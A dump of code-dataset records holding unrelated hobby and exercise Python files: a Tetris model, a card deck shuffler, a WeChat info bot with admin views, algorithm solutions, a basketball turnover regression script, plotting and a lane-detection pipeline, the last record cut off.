qc\n\nBOARD_W = 10\nBOARD_H = 20\nSTART_X = 3\nSTART_Y = 0\nSPEED_FAST = 1\nSPEED_SLOW = 20\n\nPIECE_I = np.array([\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [1, 1, 1, 1],\n [0, 0, 0, 0],\n],)\nPIECE_J = np.array([\n [0, 0, 0, 0],\n [2, 2, 2, 2],\n [0, 0, 0, 2],\n [0, 0, 0, 0],\n],)\nPIECE_L = np.array([\n [0, 0, 0, 0],\n [3, 3, 3, 3],\n [3, 0, 0, 0],\n [0, 0, 0, 0],\n],)\nPIECE_O = np.array([\n [0, 0, 0, 0],\n [0, 4, 4, 0],\n [0, 4, 4, 0],\n [0, 0, 0, 0],\n],)\nPIECE_S = np.array([\n [0, 0, 0, 0],\n [0, 5, 5, 0],\n [5, 5, 0, 0],\n [0, 0, 0, 0],\n],)\nPIECE_T = np.array([\n [0, 0, 0, 0],\n [6, 6, 6, 0],\n [0, 6, 0, 0],\n [0, 0, 0, 0],\n],)\nPIECE_Z = np.array([\n [0, 0, 0, 0],\n [7, 7, 0, 0],\n [0, 7, 7, 0],\n [0, 0, 0, 0],\n],)\n\nPos = collections.namedtuple('Pos', 'x y')\n\n\nclass Game(qc.QObject):\n\n changed = qc.pyqtSignal()\n stuck = qc.pyqtSignal()\n game_over = qc.pyqtSignal()\n line_cleared = qc.pyqtSignal()\n\n def __init__(self):\n super(Game, self).__init__()\n self.board = np.zeros((BOARD_H, BOARD_W), np.int)\n self.pieces = [\n PIECE_I,\n PIECE_J,\n PIECE_L,\n PIECE_O,\n PIECE_S,\n PIECE_T,\n PIECE_Z,\n ]\n self.stopped = False\n self.cur_tick = 0\n self.cur_speed = 0\n self.newpiece()\n self.move_right()\n\n def tick(self):\n if not self.stopped:\n self.cur_tick += 1\n if self.cur_tick == self.cur_speed:\n self.cur_tick = 0\n self.move_down()\n\n def newpiece(self):\n\n self.cur_speed = SPEED_SLOW\n self.pos = Pos(x=START_X, y=START_Y)\n self.piece = random.choice(self.pieces)\n if self.can_put_piece(self.board, self.piece, self.pos):\n self.put_piece(self.board, self.piece, self.pos)\n self.changed.emit()\n return True\n else:\n return False\n\n def move_right(self):\n shadow = self.board.copy()\n self.remove_piece(shadow, self.piece, self.pos)\n pos = Pos(x=self.pos.x + 1, y=self.pos.y)\n if self.can_put_piece(shadow, self.piece, pos):\n self.remove_piece(self.board, self.piece, self.pos)\n self.pos = Pos(self.pos.x + 1, self.pos.y)\n self.put_piece(self.board, self.piece, self.pos)\n self.changed.emit()\n else:\n self.stuck.emit()\n\n def move_left(self):\n shadow = self.board.copy()\n self.remove_piece(shadow, self.piece, self.pos)\n pos = Pos(x=self.pos.x - 1, y=self.pos.y)\n if self.can_put_piece(shadow, self.piece, pos):\n self.remove_piece(self.board, self.piece, self.pos)\n self.pos = Pos(self.pos.x - 1, self.pos.y)\n self.put_piece(self.board, self.piece, self.pos)\n self.changed.emit()\n else:\n self.stuck.emit()\n\n def speed_up(self):\n self.cur_tick = 0\n self.cur_speed = SPEED_FAST\n\n def move_down(self):\n shadow = self.board.copy()\n self.remove_piece(shadow, self.piece, self.pos)\n pos = Pos(x=self.pos.x, y=self.pos.y + 1)\n\n if self.can_put_piece(shadow, self.piece, pos):\n self.remove_piece(self.board, self.piece, self.pos)\n self.pos = pos\n self.put_piece(self.board, self.piece, self.pos)\n self.changed.emit()\n else:\n self.process_full_lines()\n ok = self.newpiece()\n if not ok:\n self.stopped = True\n self.game_over.emit()\n\n def process_full_lines(self):\n to_delete = []\n for row in range(BOARD_H):\n if self.board[row, :].prod():\n to_delete.append(row)\n for row in to_delete:\n\n self.board = np.delete(self.board, row, axis=0)\n self.board = np.insert(self.board, 0, 0, axis=0)\n\n if to_delete:\n self.changed.emit()\n for n in to_delete:\n self.line_cleared.emit()\n\n def rotate(self):\n shadow = self.board.copy()\n self.remove_piece(shadow, self.piece, self.pos)\n rotated = np.rot90(self.piece, 1)\n if self.can_put_piece(shadow, rotated, self.pos):\n self.remove_piece(self.board, self.piece, self.pos)\n self.piece = rotated\n self.put_piece(self.board, self.piece, self.pos)\n self.changed.emit()\n else:\n self.stuck.emit()\n\n def can_put_piece(self, board, piece, pos):\n\n for r in range(4):\n for c in range(4):\n if piece[r, c]:\n nx = pos.x + c\n ny = pos.y + r\n if nx < 0 or nx >= BOARD_W or ny < 0 or ny >= BOARD_H:\n return False\n if board[ny, nx]:\n return False\n return True\n\n def remove_piece(self, board, piece, pos):\n for r in range(4):\n for c in range(4):\n if piece[r, c]:\n board[pos.y + r, pos.x + c] = 0\n\n def put_piece(self, board, piece, pos):\n for r in range(4):\n for c in range(4):\n nx = pos.x + c\n ny = pos.y + r\n if piece[r, c] \\\n and nx >= 0 \\\n and nx < BOARD_W \\\n and ny >= 0 \\\n and ny < BOARD_H:\n board[ny, nx] = piece[r, c]\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"468222433","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport random\nimport Carta\n\nclass Mazo:\n\n def __init__(self):\n self.cartas = [None] * 52\n\n def crearCartas(self):\n contador = 0\n for j in [\"Corazones\",\"Tréboles\",\"Diamantes\",\"Espadas\"]:\n for i in range(1,14):\n carta = Carta.Carta(i,j)\n #carta.imprimir()\n self.cartas[contador] = carta\n contador += 1\n\n def revolverCartas(self):\n # int(random.random()*52)\n indice = 0\n while(indice < len(self.cartas)):\n #1. sacar un numero aleatorio\n #2. guardar en un temporal alguna casilla X\n #3. sobreescribir la casilla X con la casilla Y\n #4. sobreescribir celda Y con temporal\n casillaAleatoria = int(random.random()*52)\n temporal = self.cartas[indice]\n self.cartas[indice] = self.cartas[casillaAleatoria]\n self.cartas[casillaAleatoria] = temporal\n indice += 1\n\n def imprimir(self):\n print(\"Impresion con ciclo for\")\n for i in range(0,len(self.cartas)):\n self.cartas[i].imprimir()\n\n print(\"Impresion con ciclo while\")\n contador = 0\n while(contador < len(self.cartas)):\n self.cartas[contador].imprimir()\n contador += 1\n\nmazo = Mazo()\nmazo.crearCartas()\n#print(mazo.cartas)\nmazo.imprimir()\n\n\nprint(\"-----------\")\nmazo.revolverCartas()\nmazo.imprimir()\n","sub_path":"Mazo.py","file_name":"Mazo.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"93879664","text":"#coding=utf-8\nimport urllib\nimport hashlib,time\nfrom lxml import etree\nfrom uliweb import expose, functions\nfrom uliweb.orm import get_model\nfrom weixin.models import encrypt_password\nfrom getlib import moviespider,weatherspider,wzspider,psbc\n\ntoken = 'youxinweixinxuyongxiaozhan'#请自行填写你的微信taken\nadinfo = u'广告位¥99元起'\n\ntry:\n import pylibmc\n mc = pylibmc.Client([\"127.0.0.1\"], binary=True)\nexcept:\n mc = False\n\ndef validate(values):\n params = {}\n params['token'] = token\n params['timestamp'] = values['timestamp']\n params['nonce'] = values['nonce']\n\n signature = values['signature']\n echostr = values['echostr']\n a = sorted([v for k, v in params.items()])\n s = ''.join(a)\n res = hashlib.sha1(s).hexdigest()\n\n if res == signature:\n return echostr\n return False\n\n@expose('/')\nclass FrontView(object):\n def __init__(self):\n self.PhoneNum = get_model('phonenumber')\n self.Tags = get_model('tags')\n\n @expose('/get_we')\n def gWeather(self):\n weather = weatherspider()\n s = ''\n for w in weather:\n s += w[0]\n s += '\\b\\n'\n s += w[1]\n s += '\\b\\n'\n return (s)\n\n @expose('/get_movie')\n def gMovie(self):\n if mc:\n if mc.get('movie_list'):\n return mc.get('movie_list')\n content = moviespider()\n if not content[0]:\n return (u'哎哟~今天电影院还没发布电影信息~稍等会再来吧。\\b\\n' + adinfo)\n s = ''\n for i in range(0,len(content[0])):\n s+=''.join(content[0][i])\n s+='\\b\\n'\n s+=', '.join(content[1][i])\n s+='\\b\\n'\n s+=', '.join(content[2][i])\n s+='\\b\\n'\n s += u'\\b\\n省钱提示:\\b\\n购票出示邮储银行信用卡、储蓄卡,最高享受5折优惠!\\b\\n'\n s += adinfo\n if not mc:\n return (s)\n mc.set('movie_list',s,time=7200)\n return (mc.get('movie_list'))\n\n @expose('/get_wz')\n def gWz(self,cp=None):\n if not cp:\n s=u'请输入一个车牌号码'\n return s\n else:\n cp = cp.encode('utf-8')\n content = wzspider(cp)\n count = len(content)\n s = ''\n scaler = 1\n for i in range(0,count):\n s+=''.join(content[i][0])\n s+=':'\n temp = ''.join(content[i][1])\n s+=''.join(temp)\n s+='\\n'\n if scaler == 7:\n s+='\\n'\n scaler = 0\n scaler += 1\n s+=u'该车未处理违章合计'+str(count/7)+u'次\\b\\n'\n s += adinfo\n if len(s)>675:\n s=u'该车未处理违章合计'+str(count/7)+u'次,由于违章内容过多,微信字数限制,当前暂无法完整展示\\b\\n'\n s += adinfo\n return (s)\n\n @expose('/get_phonenumber')\n def get_phonenumber(self,phone=None):\n if not phone:\n return u'请输入一个查询关键字'\n s = ''\n phone = phone.replace(u'电话','')\n phone = phone.replace(u'号码','')\n tag = self.Tags.get(self.Tags.c.name==phone)\n if not tag:\n s = u'号码暂未收录,我们会尽快添加!\\b\\n\\b\\n如果您知道这个号码,也可以回复给我们。这样我们会很快将号码添加。\\b\\n'\n s += adinfo\n return (s)\n phone_list = tag.tags.all()\n if phone_list:\n for p in phone_list:\n s += p.name\n s += ':\\n'\n s += p.number1 + ' '\n s += p.number2 + ' '\n s += p.number3 + ' '\n s += '\\n'\n return (s + adinfo)\n\n @expose('/')\n def index(self):\n if request.method == 'GET' and request.values:\n echostr = validate(request.values)\n if echostr:\n return echostr\n if mc:\n if mc.get('is_test'):\n return mc.get('is_test')\n\n if request.method == 'POST':\n data = request.data\n root = etree.fromstring(data)\n child = list(root)\n recv = {}\n for i in child:\n recv[i.tag] = i.text\n\n is_movie = u'电影'\n is_weather = u'天气'\n is_phone = u'电话'\n is_number = u'号码'\n is_wz = u'川'\n is_welcome = 'subscribe'\n is_movie_num = '1'\n is_wz_num = '2'\n textTpl = \"\"\"\n \n \n %s\n \n \n 0\n \"\"\"\n\n if recv['MsgType'] == 'text':\n psbcKey = psbc(recv['Content'])\n if is_movie in recv['Content'] or is_movie_num == recv['Content']:\n recv['Content'] = self.gMovie()\n elif is_wz in recv['Content']:\n recv['Content'] = self.gWz(recv['Content'])\n elif is_weather in recv['Content']:\n recv['Content'] = self.gWeather()\n elif is_wz_num == recv['Content']:\n recv['Content'] = u'请发送格式为“川E00000”的车牌号码,我们将马上为您查询是否违章'\n elif is_phone in recv['Content'] or is_number in recv['Content']:\n recv['Content'] = self.get_phonenumber(recv['Content'])\n elif psbcKey:\n recv['Content'] = psbcKey\n else:\n recv['Content'] = u'收到您的消息啦!\\b\\n\\b\\n查电话,请记得添加“电话”或“号码”字样\\b\\n\\b\\n1:电影上映\\b\\n��输入文字“电影”或数字“1”)\\b\\n\\b\\n2:车辆违章\\b\\n(输入“川E00000”格式的车牌)\\b\\n\\b\\n3:电话查询,输入名称+号码(例如:东方明珠 电话,或 KTV 号码)\\b\\n\\b\\n(号码库仍在充实中,如有遗漏,欢迎告之~)\\b\\n\\b\\n如您需要广告服务,稍候我们会发消息联系您。'\n\n elif recv['MsgType'] == 'event':\n recv['MsgType'] = 'text'\n recv['Content'] = u\"\"\"嘿!就是你!等你好久啦!一眼就看出来你是天赋异禀骨骼清奇独具慧眼的人。为什么?!就因为万中无一的你添加了我们“叙永小站”。\\b\\n\\b\\n今后叙永大凡小事,我们都将点点滴滴悉数向您汇报,无论是好电影上映,还是寻访名小吃;不管是店铺有折扣,还是帅哥美女聚会搞活动。哪有新鲜有趣事,哪就有我们的存在。\\b\\n\\b\\n说好了就不许放手,乖,加了就不许删哟~~若爱,请深爱!哇哈哈哈哈~\\b\\n\\b\\n\\b\\n\\b\\nPS:对了!回复数字编码马上查询叙永资讯:\\b\\n\\b\\n1:电影上映资讯\\b\\n(或输入文字“电影”)\\b\\n\\b\\n2:车辆违章信息\\b\\n(或输入“川E00000”格式的车牌)\\b\\n\\b\\n3:输入 名称+号码,即可查询电话号码(例如:东方明珠 电话)\\b\\n赶快试试吧!\\b\\n\\b\\n(电话号码库目前还不是很充实,如有遗漏,请发消息告诉我们~)\"\"\"\n else:\n recv['MsgType'] = 'text'\n recv['Content'] = u\"\"\"我们已经收到了你的消息!可惜我们现在还不够聪明,暂时不能处理语音,图片,链接和地理位置信息,要不先和我们打字聊聊?等过段时间我们足够聪明了,再来语音聊?\"\"\"\n\n #以下为预留事件代码\n # eventTpl=\"\"\"\n # \n # %s\n # \n # \n # \n # \"\"\"\n echostr = textTpl % (recv['FromUserName'], recv['ToUserName'],int(time.time()),recv['MsgType'],recv['Content'])\n return echostr\n if not mc:\n return (time.ctime())\n mc.set('is_test',time.ctime(),time=50)\n return mc.get('is_test')\n\n\n @expose('/login')\n def login(self):\n from uliweb.contrib.auth import login\n\n form = functions.get_form('auth.LoginForm')()\n\n if request.user:\n next = request.GET.get('next','/admin')\n if next:\n return redirect(next)\n\n if request.method == 'GET':\n form.next.data = request.GET.get('next', request.referrer or '/')\n return {'form':form, 'msg':''}\n if request.method == 'POST':\n flag = form.validate(request.params)\n if flag:\n f, d = functions.authenticate(username=form.username.data, password=form.password.data)\n if f:\n request.session.remember = form.rememberme.data\n login(form.username.data)\n next = urllib.unquote(request.POST.get('next', '/admin'))\n return redirect(next)\n else:\n form.errors.update(d)\n msg = form.errors.get('_', '') or _('Login failed!')\n return {'msg':str(msg)}\n\n\n @expose('/register')\n def register(self):\n from uliweb.contrib.auth import create_user, login\n from uliweb.i18n import ugettext_lazy as _\n\n form = functions.get_form('RegisterForm')()\n\n if request.method == 'GET':\n form.next.data = request.GET.get('next', '/')\n return {'form':form, 'msg':''}\n if request.method == 'POST':\n flag = form.validate(request.params)\n if flag:\n f, d = create_user(username=form.username.data, password=form.password.data,email=form.email.data)\n if f:\n #add auto login support 2012/03/23\n login(d)\n next = urllib.unquote(request.POST.get('next', '/'))\n return redirect(next)\n else:\n form.errors.update(d)\n\n msg = form.errors.get('_', '') or _('Register failed!')\n return {'form':form, 'msg':str(msg)}\n\n @expose('/ad')\n def ad(self):\n return {}\n\n\n@expose('/admin')\nclass AdminView(object):\n def __init__(self):\n from uliweb.utils.generic import AddView,ListView,EditView\n self.PhoneNum = get_model('phonenumber')\n self.Tags = get_model('tags')\n self.AddView = AddView\n self.ListView = ListView\n self.EditView = EditView\n\n def __begin__(self):\n functions.require_login()\n if not functions.has_role(request.user, 'superuser'):\n error(\"你没有权限访问此页面\")\n\n @expose('/admin')\n def index(self):\n return {}\n\n @expose('/admin/phonenumber')\n def phonenumber(self):\n def name(value, obj):\n return '%s' % (obj.id, value)\n\n fields_convert_map = {'name':name}\n view = self.ListView(self.PhoneNum,rows_per_page=500,fields_convert_map=fields_convert_map)\n return view.run()\n\n def add_number(self):\n def post_save(obj, data):\n tags_list = data['ot'].split(' ')\n tags_list.append(obj.name)\n for i in tags_list:\n if not i:\n continue\n tag = self.Tags.filter(self.Tags.c.name == i).one()\n if not tag:\n tag = self.Tags(name=i)\n tag.save()\n obj.tag.add(tag)\n\n view = self.AddView(self.PhoneNum,\n ok_url='/admin/phonenumber',post_save=post_save\n )\n return view.run()\n\n def add_tag(self):\n view = self.AddView(self.Tags,\n ok_url='/admin/phonenumber',\n )\n return view.run()\n\n @expose('/admin/phonenumber/')\n def edit_number(self,id):\n def post_save(obj, data):\n tags_list = data['ot'].split(' ')\n tags_list.append(obj.name)\n for i in tags_list:\n if not i:\n continue\n tag = self.Tags.filter(self.Tags.c.name == i).one()\n if not tag:\n tag = self.Tags(name=i)\n tag.save()\n obj.tag.add(tag)\n\n obj = self.PhoneNum.get_or_notfound(int(id))\n view = self.EditView(self.PhoneNum, obj=obj,ok_url='/admin/phonenumber',post_save=post_save)\n return view.run()","sub_path":"sailyx/apps/weixin/static/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"404629086","text":"class Solution(object):\n def divide(self, dividend, divisor):\n \"\"\"\n :type dividend: int\n :type divisor: int\n :rtype: int\n \"\"\"\n MAX=2**31-1\n MIN=-(2**31)\n sign=1\n if (divisor<0)^(dividend<0) == 1:\n sign=-1\n divisor=abs(divisor)\n dividend=abs(dividend)\n \n temp=0\n c=0\n i=31\n while i>=0:\n if temp+(divisor<MAX:\n c=MAX\n return c\n","sub_path":"Math/Divide without operator.py","file_name":"Divide without operator.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"582834190","text":"from setuptools import setup, find_packages\n\nfrom codecs import open\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='ndfa',\n version='0.0.0',\n description='Non & determinitstic finite automata',\n url='https://github.com/monzita/ndfa',\n author='Monika Ilieva',\n author_email='monika.ilieva@protonmail.com',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3.6'\n ],\n\n keywords='nondeterministic deterministic finite automata',\n packages=find_packages(exclude=['contrib', 'docs', 'tests', 'venv']),\n)","sub_path":"pypi_install_script/ndfa-0.0.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"452966304","text":"import time\n\nfilename = 'C:\\\\Users\\\\fouad.hannoun\\\\AppData\\\\Local\\\\Packages\\\\a4548d07-af25-4b98-b7b4-ad4c4798fc82_q8p7fyft9r39a\\\\LocalState\\\\Test Folder\\\\sample.txt'\nfile = open(filename,'r')\nwhile 1:\n where = file.tell()\n line = file.readline()\n if not line:\n time.sleep(0.1)\n file.seek(where)\n else:\n if \":\" not in line:\n print (line) # already has newline\n","sub_path":"Read.py","file_name":"Read.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"77694486","text":"#!/usr/bin/env python3\n\n# https://codeforces.com/problemset/problem/296/A\n\ndef f(l):\n n = len(l)\n cl = [0]*1001\n for i in l:\n cl[i] += 1\n return max(cl) <= (n+1)//2\n\nq = int(input())\nl = list(map(int,input().split()))\nprint('YES' if f(l) else 'NO')\n","sub_path":"codeforces/math数学/1100/296A相邻相异.py","file_name":"296A相邻相异.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"201843704","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 10 13:51:44 2021\n\nTry out the models created. Model 1 does not factor player position whilst Model 2 does\n\n@author: favou\n\"\"\"\nimport pandas as pd\nimport pickle \n\n############################# Change Accordingly ##############################\n\n#Select Model\nMod = 'model 1' # Options 'model 1' and 'model 2'\n\n# Choose Parameters of Model\n\nTwo_PA = 9.85987 #number of two-point shots taken \nFTA = 4.70064 #number of free throws attempted\nAssists = 6.99363 #number of assists \n \n #if applicable(i.e. Model 2 only) \nPosition = 'Pos_PG' # player position chose one of: Pos_C, Pos_PF, Pos_PG, Pos_SF, Pos_SG\n\n###############################################################################\n\n\n# Loading model\n\nif Mod == 'model 1':\n filename ='Model1_statsmodels.sav'\nelse:\n filename = 'Model2_statsmodels.sav'\n\nwith open(filename,'rb') as f:\n lm = pickle.load(f)\n \ncoefficients = lm.params[1:len(lm.params)]\nintercept = lm.params[0]\n \na = 0 if Mod == 'model 1' else coefficients[Position]*1\n \n\n# Calculating TOV\nTurnover = intercept + coefficients['AST']*Assists + coefficients['2PA']*Two_PA + coefficients['FTA']*FTA + a\n\nif Mod == 'model 1':\n print(f\"A player that takes {Two_PA} two-point shots and has {Assists} assists and {FTA} freethrow attempts may commit {Turnover:.1f} turnovers\")\n\nelse:\n print(f\"A {Position.replace('Pos_', '')} that takes {Two_PA} two-point shots, and makes {Assists} assists may commit {Turnover:.1f} turnovers\")\n","sub_path":"Try Out Models/Try_out_Model.py","file_name":"Try_out_Model.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"67233800","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n df = pd.read_csv('iris.csv')\n\n sdf = df.query('species == \"setosa\"')\n vdf = df.query('species == \"versicolor\"')\n vidf = df.query('species == \"virginica\"')\n\n ax = sdf.plot.scatter(x='sepal_length', y='sepal_width', label='setosa')\n ax = vdf.plot.scatter(x='sepal_length', y='sepal_width', label='versicolor', color='blue', ax=ax)\n ax = vidf.plot.scatter(x='sepal_length', y='sepal_width', label='virginica', color='brown', ax=ax)\n\n ax = sdf.plot.scatter(x='petal_length', y='petal_width', label='setosa')\n ax = vdf.plot.scatter(x='petal_length', y='petal_width', label='versicolor', color='blue', ax=ax)\n ax = vidf.plot.scatter(x='petal_length', y='petal_width', label='virginica', color='brown', ax=ax)\n\n plt.show()","sub_path":"Tut/04/act3.py","file_name":"act3.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"10019450","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 6 20:27:49 2017\n\n@author: Masoud\n\"\"\"\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport glob\nfrom moviepy.editor import VideoFileClip\n\n\nimport myUtils # NOTE: myUtils.py contains all utilites fundtions (e.g. Line class, color to binary, etc.)\n\n\n\nHISTORY_LENGTH = 20 # History for smooth output\n\n\n# Camera calibration\n#######################################################\n\n# prepare object points, like (0,0,0), (1,0,0), (2,0,0) ....,(6,5,0)\nobjp = np.zeros((6*9,3), np.float32)\nobjp[:,:2] = np.mgrid[0:9,0:6].T.reshape(-1,2)\n\n# Arrays to store object points and image points from all the images.\nobjpoints = [] # 3d points in real world space\nimgpoints = [] # 2d points in image plane.\n\n# Make a list of calibration images\nimages = glob.glob('../camera_cal/calibration*.jpg')\n\n# Step through the list and search for chessboard corners\nfor fname in images:\n img = cv2.imread(fname)\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\n # Find the chessboard corners\n ret, corners = cv2.findChessboardCorners(gray, (9,6),None)\n\n # If found, add object points, image points\n if ret == True:\n objpoints.append(objp)\n imgpoints.append(corners)\n\n # Draw and display the corners\n img = cv2.drawChessboardCorners(img, (9,6), corners, ret)\n cv2.imshow('img',img)\n cv2.waitKey(500)\n plt.imshow(img)\n\ncv2.destroyAllWindows()\n\n# Draw a sample corner detection\nplt.imshow(img)\nplt.title('Sample corner detection for camera calibration')\ncv2.imwrite(\"../output_images/01_corner_detection.jpg\", img)\nplt.show()\n\n\n# Computing camera calibrtion matrices\nret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1], None,None)\n\n\n# Subplot adjustment\nleft = 0. # the left side of the subplots of the figure\nright = 2 # the right side of the subplots of the figure\nbottom = 0 # the bottom of the subplots of the figure\ntop = 1 # the top of the subplots of the figure\nwspace = 0.3 # the amount of width reserved for blank space between subplots\nhspace = 0.3\nplt.subplots_adjust(left, bottom, right, top, wspace, hspace)\n\n\nimg = cv2.imread(\"../camera_cal/calibration1.jpg\")\ndst = cv2.undistort(img, mtx, dist, None, mtx)\n\nplt.figure(1, figsize=(1,2))\nplt.subplot(121)\nplt.imshow(img)\nplt.title(\"Distorted image\")\n\nplt.subplot(122)\nplt.imshow(dst)\nplt.title(\"Undistorted image\")\nplt.show()\ncv2.imwrite(\"../output_images/02_distorted_image.jpg\", img)\ncv2.imwrite(\"../output_images/02_undistorted_image.jpg\", dst)\n\n\n \n# Perspective transformation\n#######################################################\n\noffset = 300\nsrc_points = np.float32([[212, 720], [1100, 720], [722, 477], [558, 477]])\ndst_points = np.float32([[offset, 720], [1280 - offset, 720], [1280-offset, 400], [offset, 400]])\n\nM = cv2.getPerspectiveTransform(src_points, dst_points)\nMinv = cv2.getPerspectiveTransform(dst_points, src_points)\n\n# Test the perspective transformation\nimg = cv2.imread(\"../test_images/straight_lines2.jpg\")\nimg = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\nundist_img = cv2.undistort(img, mtx, dist, None, mtx)\nwarped_img = cv2.warpPerspective(undist_img, M, (undist_img.shape[1], undist_img.shape[0]))\n\n\ncolor_binary = myUtils.image2binary(undist_img)\n \n# Combine the two binary thresholds\ncombined_binary = np.zeros_like(color_binary[:,:,0])\ncombined_binary[(color_binary[:,:,2] == 1) | (color_binary[:,:,1] == 1)] = 1\n \n# Perspective transform\nwarped_binary_img = cv2.warpPerspective(combined_binary, M, combined_binary.shape[::-1])\n_, _, _, _, _, color_warp, histogram, out_img = myUtils.findLaneLines(warped_binary_img, flag_display = 0)\n\n# Warp the blank back to original image space using inverse perspective matrix (Minv)\nnewwarp = cv2.warpPerspective(color_warp, Minv, (img.shape[1], img.shape[0])) \n\n# Combine the result with the original image\n#undist_img = cv2.cvtColor(undist_img, cv2.COLOR_BGR2RGB)\nresult = cv2.addWeighted(undist_img, 1, newwarp, 0.3, 0)\n\n\nf, (ax1, ax2) = plt.subplots(1, 2, figsize=(20,10))\nax1.set_title('Stacked thresholds')\nax1.imshow(255*color_binary)\nax2.set_title('Combined S channel and gradient thresholds')\nax2.imshow(combined_binary, cmap='gray')\n \n \nf, (ax1, ax2) = plt.subplots(1, 2, figsize=(20,10))\nax1.set_title('Undistorted image')\nax1.imshow(undist_img)\nax2.set_title('Perspective transformed image')\nax2.imshow(warped_img)\n\n\nf, (ax1, ax2) = plt.subplots(1, 2, figsize=(20,5))\nax1.set_title('Transformed binary image')\nax1.imshow(warped_binary_img, cmap='gray')\nax2.set_title('Histogram')\nax2.plot(histogram)\n\nf, (ax1, ax2) = plt.subplots(1, 2, figsize=(20,10))\nax1.set_title('Line detection')\nax1.imshow(out_img, cmap='gray')\nax2.set_title('Final result')\nax2.imshow(result)\n\n \n\ncv2.imwrite(\"../output_images/03_original_img.jpg\", img)\ncv2.imwrite(\"../output_images/03_transforme_img.jpg\", warped_img)\ncv2.imwrite(\"../output_images/04_color_binary.jpg\", 255*color_binary)\ncv2.imwrite(\"../output_images/04_thresholded_img.jpg\", 255*combined_binary) \ncv2.imwrite(\"../output_images/04_transformed_binary_img.jpg\", 255*warped_binary_img)\ncv2.imwrite(\"../output_images/04_line_detection.jpg\", out_img)\ncv2.imwrite(\"../output_images/04_result.jpg\", result)\n\n\n\n\n \n# Main function for frame processing\n#######################################################\n \ndef LaneDetection(img):\n \n # undistort images\n undist_img = cv2.undistort(img, mtx, dist, None, mtx)\n \n color_binary = myUtils.image2binary(undist_img, s_thresh, sx_thresh, ksize)\n \n # Combine the two binary thresholds\n combined_binary = np.zeros_like(color_binary[:,:,0])\n combined_binary[(color_binary[:,:,2] == 1) | (color_binary[:,:,1] == 1)] = 1\n \n # Perspective transform\n warped_img = cv2.warpPerspective(combined_binary, M, combined_binary.shape[::-1])\n \n if myUtils.line_obj.detected == False: \n left_fit, right_fit, left_curv, right_curv, pos, color_warp, _, _ = myUtils.findLaneLines(warped_img, nwindows, margin, minpix, flag_display = 0)\n else:\n left_fit, right_fit, left_curv, right_curv, pos, color_warp, _ = myUtils.findLaneLinesWithPrevInfo(warped_img, myUtils.line_obj.best_left_fit, myUtils.line_obj.best_right_fit, margin, flag_display = 0)\n \n \n averaged_left_curverad = np.mean(myUtils.line_obj.radius_of_curvature_left, axis=0)\n averaged_right_curverad = np.mean(myUtils.line_obj.radius_of_curvature_right, axis=0)\n\n\n \n final_curverature = (averaged_left_curverad + averaged_right_curverad)/2 \n\n # Warp the blank back to original image space using inverse perspective matrix (Minv)\n newwarp = cv2.warpPerspective(color_warp, Minv, (img.shape[1], img.shape[0])) \n\n # Combine the result with the original image\n #undist_img = cv2.cvtColor(undist_img, cv2.COLOR_BGR2RGB)\n result = cv2.addWeighted(undist_img, 1, newwarp, 0.3, 0)\n\n cv2.putText(result,'Radius of Curvature = ' + str(int(final_curverature)) + ' m', (10,50), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2)\n cv2.putText(result,'Vehicle is ' + str(int(100 * pos)) + ' cm from center', (10,100), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2)\n \n return result\n \n \n \n# Main script\n#######################################################\n\nimages = glob.glob('../test_images/test*.jpg')\n \ns_thresh=(170, 255) # Color min and max threshold\nsx_thresh=(30, 255) # Sobel min and max threshold\nksize = 9 # Choose Sobel filter kernel size\nnwindows = 9 # Choose the number of sliding windows\nmargin = 100 # Set the width of the windows +/- margin\nminpix = 50 # Set minimum number of pixels found to recenter window\n\n\"\"\"\nfor im in images:\n img = cv2.imread(im)\n plt.figure()\n plt.imshow(LaneDetection(img)) \n\"\"\"\nvideo_output = '../output_images/project_video_result2.mp4'\nvideo = VideoFileClip(\"../project_video.mp4\")\nfp = video.fl_image(LaneDetection)\nfp.write_videofile(video_output, audio=False)\n","sub_path":"examples/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"329153459","text":"from base_player import BasePlayer\nfrom random import randint, random\nfrom game_rules import 